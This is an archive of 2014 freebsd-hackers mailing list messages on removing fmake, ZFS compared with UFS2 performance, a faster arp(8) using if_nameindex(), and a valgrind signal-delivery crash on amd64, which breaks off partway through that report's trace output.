by1sm63594868wjc.26.2014.04.22.14.46.12 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 22 Apr 2014 14:46:13 -0700 (PDT) Sender: Baptiste Daroussin Date: Tue, 22 Apr 2014 23:46:11 +0200 From: Baptiste Daroussin To: Julio Merino Subject: Re: Can fmake be deleted? Message-ID: <20140422214610.GC63561@ivaldir.etoilebsd.net> References: <20140422202506.GA63561@ivaldir.etoilebsd.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="jy6Sn24JjFx/iggw" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 21:46:17 -0000 --jy6Sn24JjFx/iggw Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 22, 2014 at 02:37:14PM -0700, Julio Merino wrote: > On Tue, Apr 22, 2014 at 1:25 PM, Baptiste Daroussin wr= ote: > > On Tue, Apr 22, 2014 at 01:20:46PM -0700, Julio Merino wrote: > >> Hello, > >> > >> The WITHOUT_BMAKE=3Dyes build has been broken for over a month and, as > >> far as I can tell, only tinderbox noticed... (Should be fixed with a > >> commit I made yesterday but tinderbox hasn't caught up yet.) > >> > >> Question: is there any reason to keep the old fmake around or could it > >> be deleted along all the MK_BMAKE logic? > >> > > At least for the ports side the plan is to drop fmake support as soon as > > possible. >=20 > What does that mean? >=20 > - Can ports drop support for fmake before fmake is removed from base? That is the plan, as long as all supported version of FreeBSD has bmake installed. We haven't got through the details yet :) >=20 > - Can fmake be removed from base even if ports hasn't yet dropped its > support for fmake? Yes as right now we do support both >=20 > Thanks Bapt --jy6Sn24JjFx/iggw Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlNW4yIACgkQ8kTtMUmk6EzeRgCdFohQh3joiP61jvwmXCPI2bbE 7PcAoI4ML8VitU83qfw2JfgwiBkbH6vC =dSps -----END PGP SIGNATURE----- --jy6Sn24JjFx/iggw-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 22:25:37 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 05223686; Tue, 22 Apr 2014 22:25:37 +0000 (UTC) Received: from albert.catwhisker.org (mx.catwhisker.org [198.144.209.73]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id C5CDF1561; Tue, 22 Apr 2014 22:25:36 +0000 (UTC) Received: from albert.catwhisker.org (localhost [127.0.0.1]) by albert.catwhisker.org (8.14.8/8.14.8) with ESMTP id s3MMPQvx016921; Tue, 22 Apr 2014 15:25:26 -0700 (PDT) (envelope-from david@albert.catwhisker.org) Received: (from david@localhost) by albert.catwhisker.org (8.14.8/8.14.8/Submit) id s3MMPPLd016920; Tue, 22 Apr 2014 15:25:25 -0700 (PDT) (envelope-from david) Date: Tue, 22 Apr 2014 15:25:25 -0700 From: David Wolfskill To: Louis Kowolowski , Julian Elischer Subject: Re: Pointer to info on migrating from UFS2 -> ZFS? Message-ID: <20140422222525.GR1321@albert.catwhisker.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha512; protocol="application/pgp-signature"; boundary="uLzYCuFow5JXEQYy" Content-Disposition: inline In-Reply-To: <5355E9F9.5080401@freebsd.org> <63190425-672D-4A05-AAB0-B19A49EDB739@cryptomonkeys.org> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 22:25:37 -0000 --uLzYCuFow5JXEQYy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I appreciate the responses, but I seem to have failed to communicate at least a couple of fairly important aspects of what I'm trying to do. So.... On Mon, Apr 21, 2014 at 06:40:05PM -0700, Louis Kowolowski wrote: > I?d probably suggest a couple things: > * VirtualBox (or equiv) for setting up test environments that are easy to= create and destroy. For all the beginning stuff I can think of, you should= be able to do just fine with a virtual environment. VMs with a half dozen = virtual disks that are 2G ea come in handy with playing with ZFS. I have existing hardware -- several instantiations of it, including a couple of test machines. I am trying to find out if the use of ZFS (vs. UFS2+SU) on the existing hardware will provide a performance advantage (and if so, how much, as switching from UFS2 to ZFS is going to be extremely painful). > ... On Tue, Apr 22, 2014 at 12:03:05PM +0800, Julian Elischer wrote: > ... > my experience so far is that ZFS is great if you want to do 'storage=20 > things' but that for > straight out speed you might want to stick with ufs+SU. > .... I appreciate that information, but I tend to be rather ... empirical ... about this kind of thing. Further, one of our colleagues was practically begging me to test ZFS, citing VFS lock contention as an observed bottleneck in the UFS2 case. Therefore, my intent is to try to set up a reasonably plausible ZFS environment -- to the extent that I am able -- using the existing hardware, and measure the workload in question (several times) in each environment. (I may change aspects of the configuration: for example, the UFS2 file system in question resides on a RAID 5 array of 10 spindles of 2TB each, using the "hardware RAID" capabilities of the controller. I understand that ZFS is better-suited to an environment in which the controller does as little as possible, so I would set that up and an N-spindle JBOD for ZFS. What to do about teh ARC is less clear to me -- as a specific case in point.) Peace, david --=20 David H. Wolfskill david@catwhisker.org Taliban: Evil cowards with guns afraid of truth from a 14-year old girl. See http://www.catwhisker.org/~david/publickey.gpg for my public key. --uLzYCuFow5JXEQYy Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQJ8BAEBCgBmBQJTVuxUXxSAAAAAAC4AKGlzc3Vlci1mcHJAbm90YXRpb25zLm9w ZW5wZ3AuZmlmdGhob3JzZW1hbi5uZXQ4RThEMDY4QTIxMjc1MDZFRDIzODYzRTc4 QTY3RjlDOERFRjQxOTNCAAoJEIpn+cje9Bk7V+4P/A5NhJiNT9Xir2gEsyjRY/i4 vRcOKXPICtpplwMFRS3tUXXBw99BAET+7GomthZQUXAGmK3vUbjfOsNnf3JySgvh e01MirdXa2mlHhvt1NrCK0X+U08kxJn7ws8ylU0rj/MkRbwGOyzdHuMqMHJaBFVQ qBuvu3fM2ViTlhQRrQbtqdofOcec2UhhZ+MlgAbqV0zNo9o4xnJQJr+bvjkhUadH uDRATHlG9U3d1GrPZ+vTXKBWd/why8tw6U8LDdJuOQYYbt1mW3izXvSZmLdzDDhT ZxV/5DPOTjBUmc8WYpCOaD2LWo6w4IWlNbEijcAIdusexGkFPFi3I0B3BjjHOuCv VKMi0KVSkqhb6FxEG48CTIIAQBGN+aiGwLbiXK3cNdcxvRFYDDQFdiqKRsGzjByN YzjpdFBDr+0QCvpe1wwSy+JWgU/GakaSmsOlEtARpCN3lrrsYpbZ/vBcBFDolQfP mTxdB1tze4Bmyr+VZnT50EwF+679Un/10OxA9ME8FVrYarwD2YI+zTVsdXpTnER9 xrBN4MEthpH28kGKqtlnrl3gU5cjebOwLbWMs8kgMHnQf90jfLFQ381QL5eBMvBt U8eeepmmqme4qrBQZUqi5uIMfiy39KqspG5uRA0hj84edtH/UH6iFDXpVkSmfiIt N8vfSgDK/F6h0V5tWhnS =jCHR -----END PGP SIGNATURE----- --uLzYCuFow5JXEQYy-- From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 23 00:03:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AFA70314 for ; Wed, 23 Apr 2014 00:03:02 +0000 (UTC) Received: from mail-vc0-x231.google.com (mail-vc0-x231.google.com [IPv6:2607:f8b0:400c:c03::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6B5431C8B for ; Wed, 23 Apr 2014 00:03:02 +0000 (UTC) Received: by mail-vc0-f177.google.com with SMTP id if17so234815vcb.36 for ; Tue, 22 Apr 2014 17:03:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=cLsZqV0hJIvYYV56vCz6OT6hCiKjaO2u/N0ZMK6K38s=; b=p1KPVpDI7sDQPskknBBiqyJiKB8mbpfL7VzNOPYCQf0fAVFRyct9OEwKMEcJMtcXwl wcoveVDIZJxznkc7QLMcDll0M46PLUCzKoAsdbtMi1bOHF315OmUBqBsKTH6E/ZSDg65 NdHQ6F8nv8/tYvVsq8vM5qrrZu/arGZzcXpWKR+mchWaKLpk+/aJh5mN8PcKd8fttp4B V6lOnZyaXxdueDocKVLoqmIJSVlHJAHeR5yKfFYGJdjyE28Ts7KsmA0hjqYHubNYWObD uLMj2aOf1pDSVHy6vdKv4GJmEfT7Wgli18+XWko2i0FSBQQ5l5gQsjHZgV3yQH2qt00i xaFw== MIME-Version: 1.0 X-Received: by 10.221.62.131 with SMTP id xa3mr39524794vcb.13.1398211381474; Tue, 22 Apr 2014 17:03:01 -0700 (PDT) Received: by 10.52.106.170 with HTTP; Tue, 22 Apr 2014 17:03:01 -0700 (PDT) In-Reply-To: References: <1395953784.953193393.sslrpyfe@frv35.fwdcdn.com> Date: Tue, 22 Apr 2014 17:03:01 -0700 Message-ID: Subject: Re: arp(8) performance - use if_nameindex() instead of if_indextoname() From: Nick Rogers To: George Neville-Neil Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-hackers@freebsd.org, Vladislav Prodan X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 23 Apr 2014 00:03:02 -0000 On Sat, Apr 5, 2014 at 1:44 PM, George Neville-Neil wrote: > > On Mar 27, 2014, at 16:59 , Vladislav Prodan wrote: > >> >>> I propose that instead of calling if_indextoname() for every entry, >>> we leverage if_nameindex() to obtain a cache of if_index to if_name >>> mappings, before printing all the entries. This results in a >>> considerable performance improvement for my situation, and also >>> handles the case that was "fixed" in the commit I just mentioned. >>> >>> I took a shot at this and came up with the following diff against >>> HEAD. I used routed's route6d.c as a reference, which is the only >>> thing I could find utilizing if_nameindex(). I am currently using this >>> in production environments with great success. >>> >> >>> The following illustrates the performance improvement: >>> >>> [root@vm ~/arp]# ifconfig -a | grep vlan | grep interface | wc -l >>> 1500 >>> >>> [root@vm ~/arp]# arp -na | wc -l >>> 1503 >>> >>> [root@vm ~/arp]# time /usr/sbin/arp.old -na > /dev/null >>> >>> real 0m5.529s >>> user 0m0.813s >>> sys 0m4.231s >>> >>> [root@vm ~/arp]# time /usr/sbin/arp -na > /dev/null >>> >>> real 0m0.011s >>> user 0m0.008s >>> sys 0m0.002s >>> [root@vm ~/arp]# >>> >>> >>> I realize this may not be the cleanest way of implementing >>> if_nameindex within arp.c. I'm hoping Max Laier or someone else can >>> help me out (again) and get an adequate fix committed. Thanks! >>> >> >> >> Thanks, it works. >> > > I=E2=80=99ll look at this patch and either update or commit it after some= private testing. I noticed you committed it. Thanks! > > Best > George > > From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 23 00:50:30 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C54E9A3A; Wed, 23 Apr 2014 00:50:30 +0000 (UTC) Received: from mail-pd0-x22a.google.com (mail-pd0-x22a.google.com [IPv6:2607:f8b0:400e:c02::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 96305117B; Wed, 23 Apr 2014 00:50:30 +0000 (UTC) Received: by mail-pd0-f170.google.com with SMTP id v10so188548pde.15 for ; Tue, 22 Apr 2014 17:50:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=VNi6NkWbHb5I8q0WkagN3sWL89PHp/C6+lGPsQw2tg4=; b=0yBJbvafiwofDATWEuQ/7F2XE6oqQa8eIWS2kAu1Vsb/ddM5eTJqxvt+0t2E6jlfEq iPXawClPAEXKJ3Djw640DVMxeHkWzLaCunvVA88LkgaH+Tvk37MCNuH1tN1MDSxCduJo Is7fPhQTeaYwqYU0ZadDAfOmQvRtF1GQL1lKvteZAp/hHUnIxf4eabODJyjjVbNN4t20 aw/JMchNfNsQNz6mipnsB+76qseUncpJTSgcic/k7LW1YRDxdvu52qrDtvRVitbmZKbB C2RHDuRYzJ6kzH2R9zoxZW4gt6E5ACd8aQ+uO7bqnuiKliiGIZ9x+57dp4Ga+fiqreLz 1JAA== MIME-Version: 1.0 X-Received: by 10.68.178.162 with SMTP id cz2mr48368354pbc.51.1398214230257; Tue, 22 Apr 2014 17:50:30 -0700 (PDT) Received: by 10.70.55.169 with HTTP; Tue, 22 Apr 2014 17:50:30 -0700 (PDT) In-Reply-To: <20140422222525.GR1321@albert.catwhisker.org> References: <5355E9F9.5080401@freebsd.org> <63190425-672D-4A05-AAB0-B19A49EDB739@cryptomonkeys.org> <20140422222525.GR1321@albert.catwhisker.org> Date: Tue, 22 Apr 2014 19:50:30 -0500 Message-ID: Subject: Re: Pointer to info on migrating from UFS2 -> ZFS? From: Adam Vande More To: David Wolfskill Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: Louis Kowolowski , hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 23 Apr 2014 00:50:30 -0000 On Tue, Apr 22, 2014 at 5:25 PM, David Wolfskill wrote: > I appreciate the responses, but I seem to have failed to communicate at > least a couple of fairly important aspects of what I'm trying to do. > So.... > > On Mon, Apr 21, 2014 at 06:40:05PM -0700, Louis Kowolowski wrote: > > I?d probably suggest a couple things: > > * VirtualBox (or equiv) for setting up test environments that are easy > to create and destroy. For all the beginning stuff I can think of, you > should be able to do just fine with a virtual environment. VMs with a half > dozen virtual disks that are 2G ea come in handy with playing with ZFS. > > I have existing hardware -- several instantiations of it, including a > couple of test machines. I am trying to find out if the use of ZFS (vs. > UFS2+SU) on the existing hardware will provide a performance advantage > (and if so, how much, as switching from UFS2 to ZFS is going to be > extremely painful). > It's very difficult to make any detailed concise comment since we know virtually nothing about your hw or workload. What do you need? More iops? Then use a ZIL (maybe even a battery backed DDR drive) to increase writes, and lots of RAM and cache device to increase read speed. When I had this setup, diskinfo run on VM's backed by ZVOL's would reflect SSD, not 7200 spinning media speeds. Also things like transparent compression can help certain workloads tremendously. If you're dealing with 99% text data by compressing the data you effectively drastically lower the iops needed to work the data and off-load the work to the CPU's which are obvious a lot faster than disk. There are also a lot of different RAID(z) qualities so care should be taken when choosing layouts. -- Adam From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 23 01:05:27 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 16812202 for ; Wed, 23 Apr 2014 01:05:27 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id E5EEF12EF for ; Wed, 23 Apr 2014 01:05:26 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s3N14HcZ000660 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 22 Apr 2014 18:04:17 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s3N14Hdm000659; Tue, 22 Apr 2014 18:04:17 -0700 (PDT) (envelope-from jmg) Date: Tue, 22 Apr 2014 18:04:17 -0700 From: John-Mark Gurney To: Adam Vande More Subject: Re: Pointer to info on migrating from UFS2 -> ZFS? Message-ID: <20140423010417.GH43976@funkthat.com> Mail-Followup-To: Adam Vande More , David Wolfskill , Louis Kowolowski , hackers@freebsd.org References: <5355E9F9.5080401@freebsd.org> <63190425-672D-4A05-AAB0-B19A49EDB739@cryptomonkeys.org> <20140422222525.GR1321@albert.catwhisker.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Tue, 22 Apr 2014 18:04:18 -0700 (PDT) Cc: Louis Kowolowski , hackers@freebsd.org, David Wolfskill X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 23 Apr 2014 01:05:27 -0000 Adam Vande More wrote this message on Tue, Apr 22, 2014 at 19:50 -0500: > On Tue, Apr 22, 2014 at 5:25 PM, David Wolfskill wrote: > > > I appreciate the responses, but I seem to have failed to communicate at > > least a couple of fairly important aspects of what I'm trying to do. > > So.... > > > > On Mon, Apr 21, 2014 at 06:40:05PM -0700, Louis Kowolowski wrote: > > > I?d probably suggest a couple things: > > > * VirtualBox (or equiv) for setting up test environments that are easy > > to create and destroy. For all the beginning stuff I can think of, you > > should be able to do just fine with a virtual environment. VMs with a half > > dozen virtual disks that are 2G ea come in handy with playing with ZFS. > > > > I have existing hardware -- several instantiations of it, including a > > couple of test machines. I am trying to find out if the use of ZFS (vs. > > UFS2+SU) on the existing hardware will provide a performance advantage > > (and if so, how much, as switching from UFS2 to ZFS is going to be > > extremely painful). > > It's very difficult to make any detailed concise comment since we know > virtually nothing about your hw or workload. What do you need? More iops? > Then use a ZIL (maybe even a battery backed DDR drive) to increase writes, But that is only for sync writes, which are for things like fsync... ZFS write delays writes for vfs.zfs.txg.timeout seconds and combines them into transaction groups, so unless you're running a db that does fsync or an NFS server, a ZIL probably won't help you as much as you think it will... Obviously benchmark your use case w/ and w/o ZIL... > and lots of RAM and cache device to increase read speed. When I had this > setup, diskinfo run on VM's backed by ZVOL's would reflect SSD, not 7200 > spinning media speeds. > > Also things like transparent compression can help certain workloads > tremendously. If you're dealing with 99% text data by compressing the data > you effectively drastically lower the iops needed to work the data and > off-load the work to the CPU's which are obvious a lot faster than disk. > > There are also a lot of different RAID(z) qualities so care should be taken > when choosing layouts. Yes, it should be... remeber that raidz is closer to RAID3, than RAID5 in terms of IOPS, but doesn't suffer the read-modify-write issue that RAID5 has... So you won't necessarily get the same IOPS from a raidz config as you would from a hardware raid5 system... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 23 01:45:59 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E25CB85A for ; Wed, 23 Apr 2014 01:45:59 +0000 (UTC) Received: from mail-pd0-x230.google.com (mail-pd0-x230.google.com [IPv6:2607:f8b0:400e:c02::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B6132177C for ; Wed, 23 Apr 2014 01:45:59 +0000 (UTC) Received: by mail-pd0-f176.google.com with SMTP id r10so228527pdi.21 for ; Tue, 22 Apr 2014 18:45:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=H9JBLx4FceuchFfShVrYr52rU05J8RvOBio2Ri4qTHs=; b=laXt5r7V8xG8IVM+iPqkd45weA6+YwHCrOS59cJmBCDVNdi9zajOIj182NLcUrv+TV F6ePx4Vb3j8RxBkFO0WTIn6vvu87JyWQNIBHTWsqonAIK4GIM7ma8HQRyEWJDak1CeyH 66lVxnm4mxHMF2rt8V7q3+i5JrsI2LtIs+BiurcxdJWidMs+cSq9y8h1UENF1sP7GI5d Pmo5Mfg5UiumMvmOYYVI7vQinTTguF24gc5sDUTmENvOIvRkgIL6KYZiUx4xq9eLZjl6 EHeefEpCvg8M35oqbXMCfHsAGXrcKJBznXB7ngRARFezOSY12oCjLuDe+PSSQqC2p5wi SC4w== MIME-Version: 1.0 X-Received: by 10.68.196.168 with SMTP id in8mr14408501pbc.132.1398217559400; Tue, 22 Apr 2014 18:45:59 -0700 (PDT) Received: by 10.70.55.169 with HTTP; Tue, 22 Apr 2014 18:45:59 -0700 (PDT) In-Reply-To: <20140423010417.GH43976@funkthat.com> References: <5355E9F9.5080401@freebsd.org> <63190425-672D-4A05-AAB0-B19A49EDB739@cryptomonkeys.org> <20140422222525.GR1321@albert.catwhisker.org> <20140423010417.GH43976@funkthat.com> Date: Tue, 22 Apr 2014 20:45:59 -0500 Message-ID: Subject: Re: Pointer to info on migrating from UFS2 -> ZFS? From: Adam Vande More To: Adam Vande More , David Wolfskill , Louis Kowolowski , hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 23 Apr 2014 01:45:59 -0000 On Tue, Apr 22, 2014 at 8:04 PM, John-Mark Gurney wrote: > Adam Vande More wrote this message on Tue, Apr 22, 2014 at 19:50 -0500: > > On Tue, Apr 22, 2014 at 5:25 PM, David Wolfskill >wrote: > > > > > I appreciate the responses, but I seem to have failed to communicate at > > > least a couple of fairly important aspects of what I'm trying to do. > > > So.... > > > > > > On Mon, Apr 21, 2014 at 06:40:05PM -0700, Louis Kowolowski wrote: > > > > I?d probably suggest a couple things: > > > > * VirtualBox (or equiv) for setting up test environments that are > easy > > > to create and destroy. For all the beginning stuff I can think of, you > > > should be able to do just fine with a virtual environment. VMs with a > half > > > dozen virtual disks that are 2G ea come in handy with playing with ZFS. > > > > > > I have existing hardware -- several instantiations of it, including a > > > couple of test machines. I am trying to find out if the use of ZFS > (vs. > > > UFS2+SU) on the existing hardware will provide a performance advantage > > > (and if so, how much, as switching from UFS2 to ZFS is going to be > > > extremely painful). > > > > It's very difficult to make any detailed concise comment since we know > > virtually nothing about your hw or workload. What do you need? More > iops? > > Then use a ZIL (maybe even a battery backed DDR drive) to increase > writes, > > But that is only for sync writes, which are for things like fsync... > ZFS write delays writes for vfs.zfs.txg.timeout seconds and combines > them into transaction groups, so unless you're running a db that does > fsync or an NFS server, a ZIL probably won't help you as much as you > think it will... Obviously benchmark your use case w/ and w/o ZIL... > > > and lots of RAM and cache device to increase read speed. When I had this > > setup, diskinfo run on VM's backed by ZVOL's would reflect SSD, not 7200 > > spinning media speeds. > > > > Also things like transparent compression can help certain workloads > > tremendously. If you're dealing with 99% text data by compressing the > data > > you effectively drastically lower the iops needed to work the data and > > off-load the work to the CPU's which are obvious a lot faster than disk. > > > > There are also a lot of different RAID(z) qualities so care should be > taken > > when choosing layouts. > > Yes, it should be... remeber that raidz is closer to RAID3, than RAID5 > in terms of IOPS, but doesn't suffer the read-modify-write issue that > RAID5 has... So you won't necessarily get the same IOPS from a raidz > config as you would from a hardware raid5 system... > > -- > John-Mark Gurney Voice: +1 415 225 5579 > > "All that I will do, has been done, All that I have, has not." > For even more raid5 fun, check out a "punctured stripe". -- Adam From owner-freebsd-hackers@FreeBSD.ORG Wed Apr 23 20:01:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A43C5901; Wed, 23 Apr 2014 20:01:42 +0000 (UTC) Received: from mail-lb0-x234.google.com (mail-lb0-x234.google.com [IPv6:2a00:1450:4010:c04::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E3B7C11C2; Wed, 23 Apr 2014 20:01:41 +0000 (UTC) Received: by mail-lb0-f180.google.com with SMTP id 10so1194541lbg.39 for ; Wed, 23 Apr 2014 13:01:39 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:mime-version:content-type :content-disposition:user-agent; bh=r1a5Gyc8aw7x+VV8MBeOL9qwnHa3DPN9RFkVBpfDf6o=; b=fjjRBljbZMCMTaqDzc7MilqEG8cT7Jm01OjZxl2XIDLCJnGBIYR2spmj7lFkMtNked muKxkVwVKLUcqZ8Q0OcBO/a2M4VqqDoisHzCmOm3tuje8JUgVZMcudWE8IzGRjbpFW43 UZ05S0B8EN7XTq0wTkzczAbvLJj6LaS055bUAvXyYhVmBZB1O0u0Ia8FrXHEFk4ihYdA TlZ7VtflTxhaTsW7w0GDUH++nkaVQBjW0IzhUvTVzfg2wP2ZAM217ZJYqGzgf/R/n3ot IU0KaJ2r3NCQPhC2ov4hgJIu5jpzjTlUoMfwXXnKxPMAsi+iuJqnU4HLmnJ8UxWYsf2i s1aA== X-Received: by 10.152.23.233 with SMTP id p9mr3330997laf.31.1398283299816; Wed, 23 Apr 2014 13:01:39 -0700 (PDT) Received: from localhost ([178.150.115.244]) by mx.google.com with ESMTPSA id z2sm1794519lae.7.2014.04.23.13.01.38 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 23 Apr 2014 13:01:39 -0700 (PDT) Sender: Mikolaj Golub Date: Wed, 23 Apr 2014 23:01:36 +0300 From: Mikolaj Golub To: freebsd-hackers@freebsd.org Subject: valgrind on amd64 crashes when delivering signal for threaded application Message-ID: <20140423200135.GA6009@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.22 (2013-10-16) Cc: Stanislav Sedov X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 23 Apr 2014 20:01:42 -0000 I am observing an issue with valgrind on amd64 CURRENT or 10, when it crashes the application delivering an asynchronous signal, if the application is linked with libthr. This simple test illustrate the issue. #include #include #include static void dummy_sighandler(int sig) { /* EMPTY */ } int main() { int c = 10; if (signal(SIGINT, dummy_sighandler) == SIG_ERR) return (1); sleep(100); return (0); } Building with -lpthread, running under valgrind and pressing Ctr-C makes it crash: kopusha:~/freebsd/valgrind/test_sa% valgrind --trace-signals=yes ./test_sa ==55627== Memcheck, a memory error detector ==55627== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. ==55627== Using Valgrind-3.9.0 and LibVEX; rerun with -h for copyright info ==55627== Command: ./test_sa ==55627== --55627-- Max kernel-supported signal is 128 --55627-- sync signal handler: signal=11, si_code=1, EIP=0x23822, eip=0x4012e99a8, from kernel --55627-- SIGSEGV: si_code=1 faultaddr=0x7feffef08 tid=1 ESP=0x7feffef08 seg=0x7fe001000-0x7feffefff --55627-- -> extended stack base to 0x7feffe000 --55627-- do_setmask: tid = 1 how = 1 